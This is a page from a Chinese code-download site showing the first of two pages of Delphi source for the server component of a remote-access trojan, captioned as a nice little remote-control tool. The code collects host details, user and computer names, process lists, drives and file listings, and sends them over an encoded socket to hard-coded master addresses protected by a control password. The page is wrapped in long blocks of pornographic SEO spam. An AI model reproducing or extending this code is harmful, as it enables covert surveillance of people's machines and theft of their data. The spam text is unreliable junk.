亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? server.dpr

?? 一個很不錯的小遠控啊
?? DPR
?? 第 1 頁 / 共 2 頁
字號:
program Server;

uses
  Windows, Winsock, TlHelp32, ShellAPI, FunUnit, SocketUnit;

function SendBuffer(hSocket: TSocket; bySocketCmd: Byte; lpszBuffer: PChar; iBufferLen: Integer): Boolean; stdcall;
var
  lpszSendBuffer: Pointer;
  szSendBuffer: Array[0..4095] Of Char;
  iSendLen: Integer;
begin
  Result := False;
  
  ZeroMemory(@szSendBuffer, SizeOf(szSendBuffer));
  lpszSendBuffer := Pointer(DWORD(@szSendBuffer) + SizeOf(TSocketHeader));
  if ((iBufferLen > 0) and (lpszBuffer <> nil)) then
  begin
    CopyMemory(lpszSendBuffer, lpszBuffer, iBufferLen);
  end;
  with LPSocketHeader(@szSendBuffer)^ do
  begin
    dwSocketLen := iBufferLen + 1;
    bSocketCmd := bySocketCmd;
  end;
  Dec(DWORD(lpszSendBuffer));
  EnDeCode(lpszSendBuffer, iBufferLen + 1, @szKeyBuffer, SizeOf(szKeyBuffer));
  iBufferLen := iBufferLen + SizeOf(TSocketHeader);
  iSendLen := send(hSocket, szSendBuffer, iBufferLen, 0);
  if (iSendLen = iBufferLen) then Result := True;
  Sleep(0);
end;

function RecvBuffer(hSocket: TSocket; lpszBuffer: PChar; iBufferLen: Integer; iTimeOut: Integer): Integer; stdcall;
var
  //szBuffer: Array[0..MAX_PATH] Of Char;
  lpTempBuffer: PChar;
  FDset: TFDset;
  TimeVal: TTimeVal;
begin
  Result := 0;
  FillChar(lpszBuffer^, iBufferLen, 0);

  lpTempBuffer := lpszBuffer;
  while (iBufferLen > 0) do
  begin
    //  設置等待時間
    FDset.fd_count := 1;
    FDset.fd_array[0] := hSocket;
    TimeVal.tv_sec := iTimeOut;
    TimeVal.tv_usec := 0;
    Result := select(0, @FDset, nil, nil, @TimeVal);
    if (Result = SOCKET_ERROR) or (Result = 0) then
    begin
      Result := Result;
      //ZeroMemory(@szBuffer, SizeOf(szBuffer));
      //wsprintf(szBuffer, '[1].WSAGetLastError: %d, GetLastError: %d', WSAGetLastError(), GetLastError());
      //MessageBox(0, szBuffer, nil, 0);
      Break;
    end;
    if (Result > 0) then
    begin
      Result := recv(hSocket, lpTempBuffer^, iBufferLen, 0);
      if (Result = SOCKET_ERROR) then
      begin
        //ZeroMemory(@szBuffer, SizeOf(szBuffer));
        //wsprintf(szBuffer, '[2].WSAGetLastError: %d, GetLastError: %d', WSAGetLastError(), GetLastError());
        //MessageBox(0, szBuffer, nil, 0);
        Break;
      end;

      lpTempBuffer := PChar(DWORD(lpTempBuffer) + DWORD(Result));
      iBufferLen := iBufferLen - Result;
    end;
  end;
end;
//==============================================================================

//  獲取計算機基本信息
function GetClientBaseInfo(hSocket: TSocket): Boolean;
var
  dwNameLen: DWORD;
  szUserName: Array[0..MAX_PATH] of Char;
  szGetComputerName: Array[0..MAX_PATH] of Char;
  osVerInfo: TOSVersionInfo;
  imajorVer, iminorVer, iCutOS: Integer;
  dwStartTime: DWORD;
  szSystemPath: Array[0..MAX_PATH] of Char;
  szWindowsPath: Array[0..MAX_PATH] of Char;
  szSelfPath: Array[0..MAX_PATH] of Char;

  szBaseInfo: Array[0..1023] of Char;
begin
  ZeroMemory(@szBaseInfo, SizeOf(szBaseInfo));

  //  獲取當前OS版本
  iCutOS := cOsUnknown;
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    imajorVer := osVerInfo.dwMajorVersion;
    iminorVer := osVerInfo.dwMinorVersion;

    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_WINDOWS:
      begin
        if (imajorVer = 4) then
        begin
          if (iminorVer = 0) then
          begin
            iCutOS := cOsWin95;
          end else if (iminorVer = 0) then
          begin
            iCutOS := cOsWin98;
          end else if (iminorVer = 0) then
          begin
            iCutOS := cOsWinME;
          end;
        end;
      end;

      VER_PLATFORM_WIN32_NT:
      begin
        case imajorVer of

          3: iCutOS := cOsWinNT3; 

          4: iCutOS := cOsWinNT4;

          5:
          begin
            if (iminorVer = 0) then
            begin
              iCutOS := cOsWin2K;
            end else if (iminorVer = 1) then
            begin
              iCutOS := cOsWinXP;
            end;
          end;

        end;
      end;
    end;
  end;

  //  獲取開機時間
  dwStartTime := GetTickCount() div 1000;

  //  獲取路徑
  szSystemPath[GetSystemDirectory(szSystemPath, MAX_PATH)] := #0;
  szWindowsPath[GetWindowsDirectory(szWindowsPath, MAX_PATH)] := #0;
  szSelfPath[GetModuleFileName(0, szSelfPath, MAX_PATH)] := #0;

  //  獲取計算機信息
  dwNameLen := MAX_PATH;
  GetComputerName(szGetComputerName, dwNameLen);
  
  dwNameLen := MAX_PATH;
  GetUserName(szUserName, dwNameLen);

  //  組合系統基本信息
  ZeroMemory(@szBaseInfo, MAX_PATH);
  wsprintf(szBaseInfo, '%c1%d%c2%d%c3%s%c4%s%c5%s%c6%s%c7%s%c8%s%c9%d%ca%s%cb%s%cc%s%cd%s',
          CDelimiter,
          iCutOS,               //  OS版本

          CDelimiter,
          dwStartTime,          //  開機時間

          CDelimiter,
          szSystemPath,         //  System路徑

          CDelimiter,
          szWindowsPath,        //  Windows路徑

          CDelimiter,
          CStr_MasterAddress1,  //  連接地址1

          CDelimiter,
          CStr_MasterAddress2,  //  連接地址2

          CDelimiter,
          CStr_MasterAddress3,  //  連接地址3

          CDelimiter,
          'http://www.hackeroo.com',    //  版本信息

          CDelimiter,
          CStr_MasterPort,      //  連接端口

          CDelimiter,
          szSelfPath,           //  安裝路徑

          CDelimiter,
          'mypass',             //  控制密碼

          CDelimiter,
          szGetComputerName,    //  計算機名稱

          CDelimiter,
          szUserName            //  當前用戶名
  );

  Result := SendBuffer(hSocket, CSocket_SendBaseInfo, szBaseInfo, lstrlen(szBaseInfo) + 1);
end;

//  獲取進程列表
function GetProcessList(hSocket: TSocket): Boolean;
var
  iFullLen, iSubLen: Integer;
  lpszBuffer: PChar;
  szBuffer: Array[0..300] Of Char;

  Process32: TProcessEntry32;
  hProcessSnapshot: THandle;
  Module32: TModuleEntry32;
  hModuleSnapshot: THandle;
begin
  Result := False;
  lpszBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 4096));
  if (lpszBuffer = nil) then Exit;

  iFullLen := 0;
  hProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
  try
    Process32.dwSize := SizeOf(TProcessEntry32);
    Process32First(hProcessSnapshot, Process32);
    repeat
      //  枚舉進程路徑
      hModuleSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, Process32.th32ProcessID);
      Module32.dwSize := SizeOf(TModuleEntry32);
      Module32First(hModuleSnapshot, Module32);
      CloseHandle(hModuleSnapshot);

      if ((Module32.szExePath[1] <> ':') and (Module32.szExePath[1] <> '?')) then
      begin
        Continue;
      end;
      ZeroMemory(@szBuffer, SizeOf(szBuffer));
      iSubLen := wsprintf(szBuffer, '%c2%s%c3%d',
          CDelimiter,
          Module32.szExePath,         //  進程路徑

          CDelimiter,
          Process32.th32ProcessID
      );

      if (iFullLen >= 4096) then
      begin
        iFullLen := iFullLen + iSubLen;
        lpszBuffer := Pointer(GlobalReAlloc(DWORD(lpszBuffer), iFullLen, GMEM_FIXED or GMEM_MOVEABLE));
        if (lpszBuffer = nil) then Break;
        lstrcat(lpszBuffer, szBuffer);
      end else
      begin
        iFullLen := iFullLen + iSubLen;
        lstrcat(lpszBuffer, szBuffer);
      end;

    until not (Process32Next(hProcessSnapshot, Process32));
    Result := SendBuffer(hSocket, CSocket_SendProcess, lpszBuffer, iFullLen + 1);
  finally
    CloseHandle(hProcessSnapshot);
    GlobalFree(DWORD(lpszBuffer));
  end;
end;

//  獲取驅動器列表
function GetDriveList(hSocket: TSocket): Boolean;
var
  lpszDrive: PChar;
  szDriveListBuffer: Array[0..1023] Of Char;
  szBuffer: Array[0..MAX_PATH] Of Char;
  szDriveInfo: Array[0..15] Of Char;
  cDrive: Char;
  iCount, iLoop: Integer;
begin
  ZeroMemory(@szDriveListBuffer, SizeOf(szDriveListBuffer));
  
  iCount := GetLogicalDriveStrings(MAX_PATH, szBuffer) div 4;
  for iLoop := 0 to iCount - 1 do
  begin
    lpszDrive := PChar(@szBuffer[iLoop * 4]);
    case GetDriveType(lpszDrive) of
      DRIVE_FIXED:      cDrive := 'F';
      DRIVE_CDROM:      cDrive := 'C';
      DRIVE_REMOVABLE:  cDrive := 'R';
    else
      cDrive := 'F';
    end;
    wsprintf(szDriveInfo, '%c%c%c%c',
              CDelimiter,     //  分隔符
              cDrive,         //  磁盤類型
              lpszDrive[0],   //  磁盤名稱
              lpszDrive[1]
    );
    lstrcat(szDriveListBuffer, szDriveInfo);
  end;
  Result := SendBuffer(hSocket, CSocket_SendListDrive, szDriveListBuffer, lstrlen(szDriveListBuffer) + 1);
end;

//  獲取文件目錄信息
function GetListPathFile(hSocket: TSocket; lpszListPath: PChar): Boolean;
var
  hFindHandle: THandle;
  SearchRec: TWIN32FindData;
  szDirectory: Array[0..MAX_PATH] Of Char;
  szFileInfo: Array[0..299] Of Char;
  lpszSendBuffer: PChar;
  iFullLen, iStrLen: Integer;
  i64DiskSize: Int64;
begin
  Result := False;
  iFullLen := 0;

  //  檢測驅動器是否可用
  if (lstrlen(lpszListPath) = 3) then
  begin
    if Not GetDiskFreeSpaceExA(lpszListPath, i64DiskSize, i64DiskSize, nil) then
    begin
      ZeroMemory(@szDirectory, SizeOf(szDirectory));
      lstrcat(szDirectory, '21');
      Result := SendBuffer(hSocket, CSocket_SendDriveError, szDirectory, lstrlen(szDirectory) + 1);
      Exit;
    end;
  end;
  //  組合文件名
  ZeroMemory(@szDirectory, MAX_PATH);
  lstrcat(szDirectory, lpszListPath);
  if (szDirectory[lstrlen(szDirectory)] = '\') then lstrcat(szDirectory, '\');
  lstrcat(szDirectory, '*.*');

  lpszSendBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 4096));
  if (lpszSendBuffer = nil) then Exit;

  hFindHandle := FindFirstFile(szDirectory, SearchRec);
  if (hFindHandle <> INVALID_HANDLE_VALUE) then
  begin
    repeat
      if (lstrlen(SearchRec.cFileName) = 1) and (SearchRec.cFileName[0] = '.') then Continue;

      ZeroMemory(@szFileInfo, SizeOf(szFileInfo));
      //  判斷是否是目錄
      if ((SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0) then
      begin
        iStrLen := wsprintf(szFileInfo, '%c1%s%c3D',
          CDelimiter,               //  分隔符
          SearchRec.cFileName,      //  文件名
          CDelimiter                //  分隔符
        );
      end else
      begin
        iStrLen := wsprintf(szFileInfo, '%c2%s%c3%d',
          CDelimiter,               //  分隔符
          SearchRec.cFileName,      //  文件名
          CDelimiter,               //  分隔符
          SearchRec.nFileSizeLow
        );
      end;
      lstrcat(lpszSendBuffer, szFileInfo);
      iFullLen := iFullLen + iStrLen;
      //  判斷數據是否大于緩沖區---大于就發送出去
      if (iFullLen > 3500) then
      begin
        SendBuffer(hSocket, CSocket_SendListFile, lpszSendBuffer, iFullLen + 1);
        iFullLen := 0;
        ZeroMemory(lpszSendBuffer, 4096);
      end;
    until (Not FindNextFile(hFindHandle, SearchRec));
    if (iFullLen <> 0) then
    begin
      SendBuffer(hSocket, CSocket_SendListFile, lpszSendBuffer, iFullLen + 1);
      ZeroMemory(lpszSendBuffer, 4096);      
    end;
    FindClose(hFindHandle);
  end else
  begin
    //  發送目錄獲取失敗信息
    ZeroMemory(@szDirectory, SizeOf(szDirectory));
    lstrcat(szDirectory, '123');
    SendBuffer(hSocket, CSocket_SendDriveError, szDirectory, lstrlen(szDirectory) + 1);
  end;
  GlobalFree(DWORD(lpszSendBuffer));
  //  發送目錄信息傳送完畢指令
  Result := SendBuffer(hSocket, CSocket_SendListFileEnd, nil, 1);
end;


//==============================================================================
function ClientThread(lpParameter: Pointer): DWORD; stdcall;
var
  szBuffer: Array[0..MAX_PATH - 1] Of Char;
  //szDebugBuffer: Array[0..4095] Of Char;
  hSocket: TSocket;
  dwBufferLen: DWORD;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
岛国一区二区在线观看| 欧美一区二区三区系列电影| 欧美精品第1页| 无吗不卡中文字幕| 69p69国产精品| 国产一区二区三区| 久久先锋资源网| 粉嫩欧美一区二区三区高清影视 | 有坂深雪av一区二区精品| 色又黄又爽网站www久久| 亚洲3atv精品一区二区三区| 精品日韩一区二区| www.亚洲精品| 天堂在线一区二区| 国产精品视频yy9299一区| 91成人免费在线| 国内精品国产三级国产a久久| 国产精品国产自产拍在线| 欧美精品一二三四| 精品人在线二区三区| 久久五月婷婷丁香社区| 国产精品久线在线观看| 亚洲国产美女搞黄色| 日本一区二区视频在线观看| 91精品久久久久久久99蜜桃| 欧美xxxxx牲另类人与| 国产日韩欧美在线一区| 亚洲综合精品久久| 国产精品网站在线| 夜夜爽夜夜爽精品视频| 国产精品美女www爽爽爽| 一区二区三区自拍| 狠狠色丁香婷综合久久| 在线精品亚洲一区二区不卡| 国产成人自拍网| 久久成人免费电影| 日韩黄色一级片| 粉嫩av亚洲一区二区图片| 欧美日韩在线免费视频| 在线免费不卡视频| 精品国产乱码久久久久久老虎| 欧美视频在线不卡| 欧洲国内综合视频| 国产欧美中文在线| 日一区二区三区| 成人av网站免费观看| 成人国产亚洲欧美成人综合网| 欧美亚洲动漫精品| 中文字幕va一区二区三区| 亚洲国产高清不卡| 免费观看一级特黄欧美大片| 美女任你摸久久| 美腿丝袜亚洲三区| 欧洲中文字幕精品| 国产精品丝袜黑色高跟| 精品中文字幕一区二区| 粉嫩av一区二区三区在线播放 | 91精品久久久久久久91蜜桃 | 欧美主播一区二区三区美女| 久久久不卡影院| 中文字幕在线不卡| 亚洲人123区| 日韩在线一区二区| 欧美在线观看视频在线| 中文字幕一区二区三区av| 精品一二三四在线| 欧美精品一区二区蜜臀亚洲| 亚洲国产精品久久一线不卡| 日本久久精品电影| 亚洲视频一二三区| 另类小说综合欧美亚洲| 欧美日韩国产免费一区二区 | 欧美激情一区二区在线| 精品午夜一区二区三区在线观看| 欧美日韩一区 二区 三区 久久精品| 亚洲婷婷综合色高清在线| 成人精品免费视频| 国产欧美日韩另类视频免费观看| 精品在线播放午夜| www成人在线观看| 国产精品一区在线观看你懂的| 99精品欧美一区二区蜜桃免费| 欧美日韩激情一区| 香蕉久久一区二区不卡无毒影院| 欧美二区在线观看| 精品无人码麻豆乱码1区2区 | 欧美久久一二区| 日韩福利视频导航| 色妹子一区二区| 亚洲一区二区三区自拍| 欧美高清性hdvideosex| 日韩精品国产欧美| 久久色在线视频| a4yy欧美一区二区三区| 伊人一区二区三区| 欧美一区二区三区视频在线| 久久99精品国产91久久来源| 久久精品亚洲精品国产欧美kt∨ | 久久久精品国产免费观看同学| 国产在线播放一区二区三区| 亚洲国产成人在线| 色综合天天综合| 国产日韩精品视频一区| av午夜精品一区二区三区| 亚洲va国产天堂va久久en| 精品国产区一区| 91香蕉视频黄| 欧美国产欧美综合| 欧美综合久久久| 久久福利视频一区二区| 中文字幕一区二区视频| 91精品国产91久久久久久一区二区 | 久久免费午夜影院| 色偷偷一区二区三区| 老司机精品视频导航| 一区二区高清免费观看影视大全| 日韩午夜激情电影| 欧美aaa在线| 亚洲色图欧美在线| 精品盗摄一区二区三区| 在线免费观看日韩欧美| 丁香婷婷综合激情五月色| 天天影视网天天综合色在线播放| 欧美国产一区视频在线观看| 欧美一级在线视频| 91福利在线观看| 成人黄色av电影| 精品一区二区三区不卡| 天堂va蜜桃一区二区三区漫画版| 欧美国产精品中文字幕| 日韩欧美一区在线| 日韩精品成人一区二区三区| 国产精品蜜臀av| 精品电影一区二区| 日韩午夜激情视频| 欧美日韩亚洲国产综合| 99精品视频一区| 粉嫩嫩av羞羞动漫久久久| 精品一区二区国语对白| 亚洲v中文字幕| 一区二区三区高清在线| 最新日韩在线视频| 欧美国产国产综合| 国产亚洲一区二区三区在线观看| 欧美一区二区三区性视频| 欧美久久婷婷综合色| 在线不卡中文字幕播放| 欧美亚洲自拍偷拍| 欧美日韩中文字幕精品| 欧美午夜精品久久久久久超碰 | 中文字幕免费观看一区| 亚洲精品在线三区| 欧美成人一区二区三区片免费 | 精品国产一区二区精华| 日韩欧美国产三级电影视频| 5858s免费视频成人| 欧美一区二区三区成人| 欧美一级生活片| 日韩视频免费直播| ww久久中文字幕| 欧美国产精品中文字幕| 国产精品美女久久福利网站| 综合欧美一区二区三区| 伊人色综合久久天天人手人婷| 亚洲一区视频在线| 蜜臀av一区二区在线免费观看| 麻豆一区二区三| 国产风韵犹存在线视精品| 成人综合婷婷国产精品久久| 91亚洲大成网污www| 欧美日韩高清一区二区| 日韩午夜三级在线| 国产精品色婷婷久久58| 一区二区三区四区不卡在线 | 91最新地址在线播放| 日本精品一区二区三区高清| 欧美日本一区二区三区| 精品理论电影在线观看| 国产精品乱人伦| 亚洲va欧美va人人爽| 国产美女一区二区三区| 色综合天天综合网天天看片| 欧美精品在欧美一区二区少妇| 日韩欧美一区电影| ...中文天堂在线一区| 日韩av在线播放中文字幕| 国产黄人亚洲片| 欧美综合色免费| 国产亚洲精品久| 午夜成人在线视频| 成人免费观看男女羞羞视频| 精品视频一区三区九区| 久久久久久**毛片大全| 亚洲国产你懂的| 成人黄色免费短视频| 精品久久久久久综合日本欧美| 亚洲视频一二区| 国产成人在线网站| 日韩欧美在线观看一区二区三区| 国产精品高潮久久久久无|